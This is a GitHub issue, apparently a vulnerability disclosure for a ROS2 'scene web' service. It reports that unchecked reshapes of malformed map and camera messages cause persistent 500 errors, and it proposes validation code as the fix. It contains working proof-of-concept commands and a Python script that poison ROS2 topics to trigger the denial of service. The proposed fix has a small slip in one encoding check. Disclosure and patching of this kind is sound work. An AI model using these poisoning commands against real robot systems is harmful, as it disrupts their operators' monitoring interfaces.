Skip to content

[BUG] Validate upstream message structure consistency to prevent malformed OccupancyGrid/Image from causing interface-level denial of service #226

Description

@freedomfoxvare

fix(scene/web): Validate upstream message structure consistency to prevent malformed OccupancyGrid/Image from causing interface-level denial of service

Overview

scene web reads upstream ROS2 messages and renders them on the web page by directly calling np.frombuffer(...).reshape(h, w) on msg.data without validating that the data length matches width * height. An attacker only needs to publish a structurally inconsistent but type-valid message to ROS2 topics such as /map, causing GET /api/state and GET /api/camera to consistently return 500 Internal Server Error, resulting in an interface-level denial of service.


1. Precise Sink Point Localisation

1.1 OccupancyGrid sink

File: web.py

arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)
  • Triggering route: GET /api/state_state_payload()_occupancy_payload(hub)
  • Data source: hub.latest("occupancy_grid")_LatestSlot._msg (stores original nav_msgs/msg/OccupancyGrid)
  • Crash condition: len(msg.data) != info.width * info.height
  • Exception type: ValueError: cannot reshape array of size N into shape (h, w)

Call chain:

GET /api/state (route, L479)
  → _state_payload(registry, hub, sg_store) (L373)
    → _occupancy_payload(hub) (L429)
      → hub.latest("occupancy_grid") (L236)        ← retrieve malformed message
      → np.frombuffer(...).reshape(h, w) (L254)    ← SINK: raises ValueError

1.2 RGB Image sinks

File: web.py

Line encoding target shape for reshape required data length
L297 rgb8 (h, w, 3) h * w * 3
L299 bgr8 (h, w, 3) h * w * 3
L301 rgba8 (h, w, 4) h * w * 4
L304 bgra8 (h, w, 4) h * w * 4
L306 mono8 (h, w) h * w
  • Triggering route: GET /api/camera_camera_payload(hub)_image_to_png_b64(msg, kind="rgb")
  • Data source: hub.latest("rgb")_LatestSlot._msg (stores original sensor_msgs/msg/Image)
  • Crash condition: len(msg.data) != h * w * channels

1.3 Depth Image sinks

File: web.py

Line encoding dtype target shape for reshape required data length
L312 32fc1 / 32FC1 np.float32 (h, w) h * w * 4 bytes
L315 16uc1 / 16UC1 np.uint16 (h, w) h * w * 2 bytes
  • Triggering route: GET /api/camera_camera_payload(hub)_image_to_png_b64(msg, kind="depth")
  • Data source: hub.latest("depth")_LatestSlot._msg

2. Data Flow and Contamination Path

2.1 Path for messages entering the hub

ROS2 Publisher (attacker or faulty node)
  → /map topic
  → SubscribersHub._subscribe() creates subscription
  → rclpy callback _cb(msg)  [ros_subscribers.py:289]
  → _LatestSlot.write(msg)    [ros_subscribers.py:97]
  → _LatestSlot._msg = msg    ← malformed message is stored as‑is, no validation

Key code — ros_subscribers.py:

def _cb(msg: Any, _slot: _LatestSlot = slot, _k: str = _kind) -> None:
    _slot.write(msg)   # ← no validation, stores directly

Key code — ros_subscribers.py:

def write(self, msg: Any) -> None:
    with self._lock:
        self._msg = msg          # ← stored without checking structure
        self._stamp_unix = time.time()
        self._count += 1

2.2 Web route reading from hub

HTTP GET /api/state
  → Starlette route handler (web.py:479)
  → _state_payload(registry, hub, sg_store) (web.py:373)
  → _occupancy_payload(hub) (web.py:229)
  → hub.latest("occupancy_grid") (web.py:236)  ← retrieve malformed msg
  → np.frombuffer(bytes(msg.data), ...).reshape(h, w)  ← SINK: ValueError
  → Exception uncaught, Starlette returns 500

2.3 State persistence

Because _LatestSlot keeps only the latest message, and /map uses TRANSIENT_LOCAL QoS:

  1. Even if the malformed publisher stops, scene internally retains the last malformed message.
  2. The latching semantics of TRANSIENT_LOCAL mean that new subscribers may also receive this malformed message.
  3. The interface only recovers when a new valid message overwrites slot._msg.

This gives the vulnerability a persistent denial-of-service characteristic.


3. Full Proof of Concept

3.1 Deployment‑level PoC (validated on a real Robonix deployment)

Environment:

  • Simulation container: robonix_tiago_sim
  • scene web listening on: http://127.0.0.1:50107/
  • Map topic: /map (nav_msgs/msg/OccupancyGrid)
  • RGB topic: /head_front_camera/rgb/image_raw (sensor_msgs/msg/Image)

Step 1 — Baseline verification:

# All interfaces work normally in clean state
curl --noproxy '*' -i http://127.0.0.1:50107/
curl --noproxy '*' -i http://127.0.0.1:50107/api/state
curl --noproxy '*' -i http://127.0.0.1:50107/api/camera

# Expected: all 200 OK

Step 2 — Poison /map (triggers /api/state failure):

# Terminal A: publish malformed OccupancyGrid to real /map topic
# width=4, height=4 but data has only 3 elements
docker exec robonix_tiago_sim bash -lc \
  'source /opt/ros/humble/setup.bash && \
   ros2 topic pub -r 5 /map nav_msgs/msg/OccupancyGrid \
   "{header: {frame_id: map}, info: {resolution: 0.05, width: 4, height: 4, origin: {position: {x: 0.0, y: 0.0, z: 0.0}, orientation: {w: 1.0}}}, data: [0, 0, 0]}"'

# Terminal B: send ordinary HTTP request within contamination window
curl --noproxy '*' -i http://127.0.0.1:50107/api/state

Expected result:

HTTP/1.1 500 Internal Server Error

scene logs also show:

File "/scene/scene_service/web.py", line 254, in _occupancy_payload
  arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)
ValueError: cannot reshape array of size 3 into shape (4,4)

Step 3 — Poison RGB topic (triggers /api/camera failure):

# Terminal A: publish malformed Image to real RGB topic
# width=10, height=10, encoding=rgb8 but data only 20 bytes (should be 300)
docker exec robonix_tiago_sim bash -lc "
  source /opt/ros/humble/setup.bash
  export RMW_IMPLEMENTATION=rmw_zenoh_cpp
  timeout 8s ros2 topic pub -r 10 /head_front_camera/rgb/image_raw sensor_msgs/msg/Image \
  '{
    header: {frame_id: head_front_camera_rgb_optical_frame},
    height: 10,
    width: 10,
    encoding: rgb8,
    is_bigendian: 0,
    step: 30,
    data: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
  }'
"

# Terminal B: send ordinary HTTP request
curl --noproxy '*' -i http://127.0.0.1:50107/api/camera

Expected result:

HTTP/1.1 500 Internal Server Error

Logs:

ValueError: cannot reshape array of size 20 into shape (10,10,3)

3.2 Component‑level PoC

"""Component‑level PoC: demonstrate the inherent flaw in web.py.
Load the real web.py, replace external dependencies with stubs,
inject malformed messages into the hub in‑process, then send ordinary HTTP requests."""
import asyncio
import httpx
import uvicorn
from types import SimpleNamespace

# --- stub external dependencies ---
import sys

# stub robonix_api and scene_service.state
class _StubRegistry:
    _objects = {}
    _surfaces = {}

class _StubHub:
    """Mock SubscribersHub that can inject malformed messages."""
    def __init__(self):
        self._slots = {}
    def inject(self, kind, msg):
        self._slots[kind] = (msg, 1700000000.0, 1)
    def has(self, kind):
        return kind in self._slots
    def latest(self, kind):
        return self._slots.get(kind, (None, 0.0, 0))

# stub modules
stub_state = SimpleNamespace(ObjectRegistry=_StubRegistry)
sys.modules['scene_service'] = SimpleNamespace()
sys.modules['scene_service.state'] = stub_state

# --- load real web.py ---
from scene_service.web import make_app, _StubRegistry  # may differ by layout

# Construct malformed OccupancyGrid
malformed_grid = SimpleNamespace(
    info=SimpleNamespace(
        width=4, height=4,
        resolution=0.05,
        origin=SimpleNamespace(
            position=SimpleNamespace(x=0.0, y=0.0, z=0.0),
        ),
    ),
    data=[0, 0, 0],  # only 3 elements, should be 4*4=16
)

# Construct malformed RGB Image
malformed_rgb = SimpleNamespace(
    height=10, width=10,
    encoding="rgb8",
    data=bytes(20),  # only 20 bytes, should be 10*10*3=300
    header=SimpleNamespace(
        stamp=SimpleNamespace(sec=0, nanosec=0)
    ),
)

hub = _StubHub()
registry = _StubRegistry()

# Inject malformed messages
hub.inject("occupancy_grid", malformed_grid)
hub.inject("rgb", malformed_rgb)

app = make_app(registry=registry, hub=hub)

config = uvicorn.Config(app, host="127.0.0.1", port=18099, log_level="warning")
server = uvicorn.Server(config)

async def run_test():
    """Start server and send HTTP requests."""
    import threading
    t = threading.Thread(target=server.run, daemon=True)
    t.start()
    await asyncio.sleep(1.0)

    async with httpx.AsyncClient() as client:
        # / should be normal
        r = await client.get("http://127.0.0.1:18099/")
        print(f"GET / status={r.status_code}")

        # /api/state should be 500 (malformed occupancy grid)
        r = await client.get("http://127.0.0.1:18099/api/state")
        print(f"GET /api/state status={r.status_code}")

        # /api/camera should be 500 (malformed rgb image)
        r = await client.get("http://127.0.0.1:18099/api/camera")
        print(f"GET /api/camera status={r.status_code}")

asyncio.run(run_test())

# Expected output:
# GET / status=200
# GET /api/state status=500
# GET /api/camera status=500

4. Fix Proposal

4.1 Design Principles

  1. Validation at entry: Validate data length consistency with metadata before reshape.
  2. Graceful degradation: On validation failure, return None (skip rendering) rather than raising an exception up to the route layer.
  3. Route‑level fallback: Add try/except at the route layer to ensure any unexpected exception returns a structured error instead of a raw 500.

4.2 Specific Code Changes

4.2.1 Add validation helper functions

Insert before _shorten_id at web.py:

def _check_grid_consistency(msg: Any, w: int, h: int) -> bool:
    """Verify OccupancyGrid data length matches width*height."""
    expected = w * h
    actual = len(msg.data)
    if actual != expected:
        log.warning(
            "[web] occupancy: data length %d != width*height %d*%d=%d; "
            "skipping render",
            actual, w, h, expected,
        )
        return False
    return True


def _check_image_consistency(msg: Any, w: int, h: int, channels: int) -> bool:
    """Verify Image data byte length matches width*height*channels."""
    expected = w * h * channels
    actual = len(msg.data)
    if actual != expected:
        log.warning(
            "[web] image(%s): data length %d != %dx%dx%d=%d; "
            "skipping render",
            msg.encoding, actual, w, h, channels, expected,
        )
        return False
    return True

4.2.2 Fix _occupancy_payload

At web.py:248-254, replace:

    info = msg.info
    w, h = int(info.width), int(info.height)
    if w == 0 or h == 0:
        return None
    # nav_msgs/OccupancyGrid data is row-major bottom-up int8 in
    # [-1, 100]: -1 unknown, 0 free, 100 occupied. Render as grayscale:
    # unknown=128 (mid), free=240 (almost white), occupied=20 (almost black).
    arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)

with:

    info = msg.info
    w, h = int(info.width), int(info.height)
    if w == 0 or h == 0:
        return None
    if not _check_grid_consistency(msg, w, h):
        return None
    # nav_msgs/OccupancyGrid data is row-major bottom-up int8 in
    # [-1, 100]: -1 unknown, 0 free, 100 occupied. Render as grayscale:
    # unknown=128 (mid), free=240 (almost white), occupied=20 (almost black).
    arr = np.frombuffer(bytes(msg.data), dtype=np.int8).reshape(h, w)

4.2.3 Fix _image_to_png_b64

At web.py:289-317, for each encoding branch add a channel count and validation.

Replace:

    h, w = int(msg.height), int(msg.width)
    if h == 0 or w == 0:
        return None
    enc = (msg.encoding or "").lower()
    arr: Any = None
    out_mode = "RGB"
    if kind == "rgb":
        if enc == "rgb8":
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)
        elif enc == "bgr8":
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)[:, :, ::-1]
        elif enc == "rgba8":
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3]
        elif enc == "bgra8":
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3][:, :, ::-1]
        elif enc == "mono8":
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w)
            out_mode = "L"
        else:
            return None
    else:  # depth
        if enc in ("32fc1", "32FC1"):
            raw = np.frombuffer(bytes(msg.data), dtype=np.float32).reshape(h, w)
        elif enc in ("16uc1", "16UC1"):
            raw = np.frombuffer(bytes(msg.data), dtype=np.uint16).reshape(h, w).astype(np.float32) / 1000.0
        else:
            return None

with:

    h, w = int(msg.height), int(msg.width)
    if h == 0 or w == 0:
        return None
    enc = (msg.encoding or "").lower()
    arr: Any = None
    out_mode = "RGB"
    if kind == "rgb":
        if enc == "rgb8":
            if not _check_image_consistency(msg, w, h, 3): return None
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)
        elif enc == "bgr8":
            if not _check_image_consistency(msg, w, h, 3): return None
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 3)[:, :, ::-1]
        elif enc == "rgba8":
            if not _check_image_consistency(msg, w, h, 4): return None
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3]
        elif enc == "bgra8":
            if not _check_image_consistency(msg, w, h, 4): return None
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w, 4)[:, :, :3][:, :, ::-1]
        elif enc == "mono8":
            if not _check_image_consistency(msg, w, h, 1): return None
            arr = np.frombuffer(bytes(msg.data), dtype=np.uint8).reshape(h, w)
            out_mode = "L"
        else:
            return None
    else:  # depth
        if enc in ("32fc1", "32fc1"):
            if not _check_image_consistency(msg, w, h, 4): return None
            raw = np.frombuffer(bytes(msg.data), dtype=np.float32).reshape(h, w)
        elif enc in ("16uc1", "16UC1"):
            if not _check_image_consistency(msg, w, h, 2): return None
            raw = np.frombuffer(bytes(msg.data), dtype=np.uint16).reshape(h, w).astype(np.float32) / 1000.0
        else:
            return None

4.2.4 Add exception fallback at route layer

At web.py:479-480 and web.py:493-494, replace:

    async def state(_request) -> JSONResponse:
        return JSONResponse(_state_payload(registry, hub, sg_store))

    ...

    async def camera_state(_request) -> JSONResponse:
        return JSONResponse(_camera_payload(hub))

with:

    async def state(_request) -> JSONResponse:
        try:
            return JSONResponse(_state_payload(registry, hub, sg_store))
        except Exception:
            log.exception("[web] /api/state failed")
            return JSONResponse({"error": "internal_error"}, status_code=500)

    ...

    async def camera_state(_request) -> JSONResponse:
        try:
            return JSONResponse(_camera_payload(hub))
        except Exception:
            log.exception("[web] /api/camera failed")
            return JSONResponse({"error": "internal_error"}, status_code=500)

4.3 Summary of Changes

File Location Change
web.py before L216 Add _check_grid_consistency + _check_image_consistency helper functions
web.py L248-254 _occupancy_payload: call _check_grid_consistency before reshape
web.py L289-317 _image_to_png_b64: add channel‑based validation for each encoding branch
web.py L479-480 state route: add try/except fallback
web.py L493-494 camera_state route: add try/except fallback

4.4 Behaviour After Fix

Scenario Before Fix After Fix
Malformed OccupancyGrid in hub GET /api/state → 500 GET /api/state → 200, occupancy: null (warning logged)
Malformed RGB Image in hub GET /api/camera → 500 GET /api/camera → 200, rgb: null (warning logged)
Valid message in hub GET /api/state → 200 GET /api/state → 200 (no change)
Other unexpected exception 500 + raw stack trace 500 + {"error": "internal_error"} + full stack trace logged

5. Impact Assessment

  • Vulnerability type: Input consistency validation missing / interface‑level denial of service
  • Attack surface: Any entity that can publish messages to ROS2 topics subscribed by scene
  • Ease of exploitation: Low — a single ros2 topic pub command is sufficient
  • Impact scope: /api/state and /api/camera endpoints persistently return 500
  • Recovery cost: Requires a new valid message to overwrite the slot, or restart of the scene service
  • CVSS assessment: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L → Medium (3.7)

6. Verification Commands

# 1. Verify that after the fix the endpoints work normally in a clean state
curl --noproxy '*' -i http://127.0.0.1:50107/api/state
# Expected: 200

# 2. Verify that malformed messages no longer cause a 500
docker exec robonix_tiago_sim bash -lc \
  'source /opt/ros/humble/setup.bash && \
   ros2 topic pub --once /map nav_msgs/msg/OccupancyGrid \
   "{header: {frame_id: map}, info: {resolution: 0.05, width: 4, height: 4, origin: {position: {x: 0.0, y: 0.0, z: 0.0}, orientation: {w: 1.0}}}, data: [0, 0, 0]}"'

curl --noproxy '*' -i http://127.0.0.1:50107/api/state
# Expected: 200, occupancy field should be null

# 3. Verify that a warning appears in the logs
rbnx logs -t scene | grep "data length"
# Expected: [web] occupancy: data length 3 != width*height 4*4=16; skipping render

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions